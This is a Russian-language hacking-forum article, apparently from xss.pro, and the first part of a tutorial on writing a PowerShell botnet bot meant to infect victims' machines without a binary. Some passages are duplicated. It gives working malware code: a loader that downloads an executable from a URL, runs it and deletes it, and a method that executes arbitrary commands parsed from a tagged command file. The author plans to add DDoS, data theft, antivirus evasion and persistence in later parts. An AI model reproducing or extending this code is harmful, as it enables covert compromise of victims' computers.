Привет, XSS, решил сделать "пилотную" статью по созданию и построению своего небольшого ботнета, отличительным свойством которого будет возможность заражать машины терпил простых работяг без бинарного файла. В первой статье мы затронем лишь написание основы нашего ботнета, а для этого достаточно будет хранить команды в обычном .txt файле.
Это мой первый опыт в написании данного вида малвари (тем более на PowerShell) , соответственно в некоторых моментах могу допускать ошибки, буду благодарен если вы сможете меня исправлять.
В первой части:
Сам цикл статей будет разбит на несколько частей:
Для начала подготовим создаём новый .ps1 файл с любым именем. Так как кодить я буду в стандартной IDE для PowerShell, то просто запускаем Windows PowerShell ISE (по дефолту есть в большинстве Win-машинах) и открываем наш созданный файл (Ctrl + o и выбираем файл).
Теперь на нужно добавить пару юзингов: System.IO - для работы с файлами и папками, System.Regex - для парса конфига, System.Diagnostics - для запуска процессов и System.Net - для работы с сетью.
Теперь создадим две вспомогательные функции: randomString - которая возвращает рандомный набор символов, jsonRegex - которая возвращает регулярное выражение.
Теперь пора добавить базовые модули. Опять же для красоты кода создадим класс "Modules" в котором и будем помещать все методы.
Добавим первый метод в нашего ботю - Loader. В классе Modules добавляем новый метод с именем Loader, который будет принимать два аргумента: url - ссылка на файл, selfDelete - булевое выражение, которое будет отвечать за самоудаление скаченного файла. Код с комментариями:
Должно получится примерно так:
И создаём ещё один новый метод, который будет инвокать повершелл команды - invokeCommand.
Тест инвока:
С модулями пока всё, самый начальный функционал есть, остальное мы напишем в следующих частях. Пора накодить парс комманд.
Как я говорил в самом начале статьи, на первых этапах мы будем хранить команды в txt файле, поэтому создаём новый текстовик, и добавляем следующее:
Как вы поняли, комманды будут храниться между двумя тегами. В данном примере это ps, который будет говорить боту, что нужно инвокнуть метод.
Создадим новый класс с именем MainClass, в нём создаём переменную, которая будет считывать весь текст с текстовика:
Теперь создадим метод с именем Main, который будет являться главным. В методе Main создаём две переменные Regex: loaderReg - с помощью которой будем парсить комманду для лоадера, psCommand - с помощью которой будем парсить комманду для инвока:
И теперь реализуем простые проверки, в которых парсим значение между тегами, и вызываем методы с этими значениями:
Итого получаем:
По сути парс закончен, перейдём к тестам. В текстовом файле, что мы создали пишем простую команду:
Сохраняем файл, в коде бота вызываем главный метод ([MainClass]::Main()), запускаем скрипт и смотрим вывод:
Заключение.
На этом статья подходит к концу. напомню, что это была "пилотная" часть из возможного цикла статей. В следующих статьях мы дополним функционал методами DDoS'а, кражей данных с ПК жертвы, а так-же затронем тему обфускации и закрепления в системе. Остались вопросы или предложения? - Отпиши либо в этой теме, либо мне в пм (в зависимости от вопроса)). Спасибо за прочтение, и всего хорошего!
P.S Сорец прикреплён к статье.
(с) V1rtualGh0st специально для xss.pro!
Это мой первый опыт в написании данного вида малвари (тем более на PowerShell) , соответственно в некоторых моментах могу допускать ошибки, буду благодарен если вы сможете меня исправлять.
В первой части:
- "Каскад" нашего бота.
- Добавления начального функционала: Loader файлов, Invoke повершелл команд.
- Парс задач для боти и их выполнение.
Сам цикл статей будет разбит на несколько частей:
- Принцип работы бота, основа. Парсинг команд с C&C сервера и их выполнение.
- Расширение функционала. Методы обхода статического детекта AV. Добавление методов DDoS.
- Создание панели для ботнета.
- Методы доставки зловреда. Простые техники целивых / массовых заражений.
Ботнет (англ. botnet от robot и network) — это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным программным обеспечением. Чаще всего бот в составе ботнета является программой, скрытно устанавливаемой на компьютере жертвы и позволяющей злоумышленнику выполнять некие действия с использованием ресурсов заражённого компьютера. В 99% случаев используются для нелегальной деятельности — рассылки спама, перебора паролей на удалённой системе, атак на отказ в обслуживании. и так далее.
Для начала подготовим создаём новый .ps1 файл с любым именем. Так как кодить я буду в стандартной IDE для PowerShell, то просто запускаем Windows PowerShell ISE (по дефолту есть в большинстве Win-машинах) и открываем наш созданный файл (Ctrl + o и выбираем файл).
Следует упомянуть, что писать бота мы будем на PowerShell v5, но адаптировать его под версии помладше не составит особого труда)
Теперь на нужно добавить пару юзингов: System.IO - для работы с файлами и папками, System.Regex - для парса конфига, System.Diagnostics - для запуска процессов и System.Net - для работы с сетью.
C#:
using namespace System.IO
using namespace System.Regex
using namespace System.Diagnostics
using namespace System.Net
В итоге получается так:Так-же для красоты кода можем обернуть юзинги в region.
Теперь создадим две вспомогательные функции: randomString - которая возвращает рандомный набор символов, jsonRegex - которая возвращает регулярное выражение.
PHP:
function randomString()
{
return $(-join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_}))
}
function jsonRegex($tag1, $tag2)
{
return "(?<=$tag1)(.*)(?=$tag2)"
}
Теперь пора добавить базовые модули. Опять же для красоты кода создадим класс "Modules" в котором и будем помещать все методы.
Код с оформлением (BB-коды):
Class Modules
{
# Modules Here
}
PHP:
static Loader([string]$url, [bool]$selfDelete)
{
try
{
$output = "$([Path]::GetTempPath())$(randomString).exe" # Output path with random file name
# Write-Host $output
$wc = [WebClient]::new() # new class object
$wc.DownloadFile($url, $output) # File load
[Process]::Start($output) # Run file
if($selfDelete)
{
[File]::Delete($output); # Remove output file
}
}
catch{}
}
И создаём ещё один новый метод, который будет инвокать повершелл команды - invokeCommand.
C#:
static invokeCommand([string]$command2invoke)
{
try{
Invoke-Expression($command2invoke)
}
catch{}
}
Тест инвока:
С модулями пока всё, самый начальный функционал есть, остальное мы напишем в следующих частях. Пора накодить парс комманд.
Как я говорил в самом начале статьи, на первых этапах мы будем хранить команды в txt файле, поэтому создаём новый текстовик, и добавляем следующее:
<ps>Write-Host "Method Invoked!"</ps>Как вы поняли, комманды будут храниться между двумя тегами. В данном примере это ps, который будет говорить боту, что нужно инвокнуть метод.
Создадим новый класс с именем MainClass, в нём создаём переменную, которая будет считывать весь текст с текстовика:
C#:
Class MainClass
{
static [string]$content = [File]::ReadAllText("C:\Users\%USERNAME%\Desktop\content.txt"); # Path to .txt file
}
Теперь создадим метод с именем Main, который будет являться главным. В методе Main создаём две переменные Regex: loaderReg - с помощью которой будем парсить комманду для лоадера, psCommand - с помощью которой будем парсить комманду для инвока:
C#:
static Main()
{
[Regex]$loaderReg = [Regex]::new($(jsonRegex -tag1 "<loader>" -tag2 "</loader>"))
[Regex]$psCommand = [Regex]::new($(jsonRegex -tag1 "<ps>" -tag2 "</ps>"))
}
И теперь реализуем простые проверки, в которых парсим значение между тегами, и вызываем методы с этими значениями:
PHP:
if($loaderReg.IsMatch([MainClass]::content))
{
[string]$url = $loaderReg.Match([MainClass]::content)
[Modules]::Loader($url, $true)
}
if($psCommand.IsMatch([MainClass]::content))
{
[string]$command = $psCommand.Match([MainClass]::content)
[Modules]::invokeCommand($command)
}
Итого получаем:
По сути парс закончен, перейдём к тестам. В текстовом файле, что мы создали пишем простую команду:
<ps>Write-Host "Method Succes Invoked!"</ps>Сохраняем файл, в коде бота вызываем главный метод ([MainClass]::Main()), запускаем скрипт и смотрим вывод:
Заключение.
На этом статья подходит к концу. напомню, что это была "пилотная" часть из возможного цикла статей. В следующих статьях мы дополним функционал методами DDoS'а, кражей данных с ПК жертвы, а так-же затронем тему обфускации и закрепления в системе. Остались вопросы или предложения? - Отпиши либо в этой теме, либо мне в пм (в зависимости от вопроса)). Спасибо за прочтение, и всего хорошего!
P.S Сорец прикреплён к статье.
(с) V1rtualGh0st специально для xss.pro!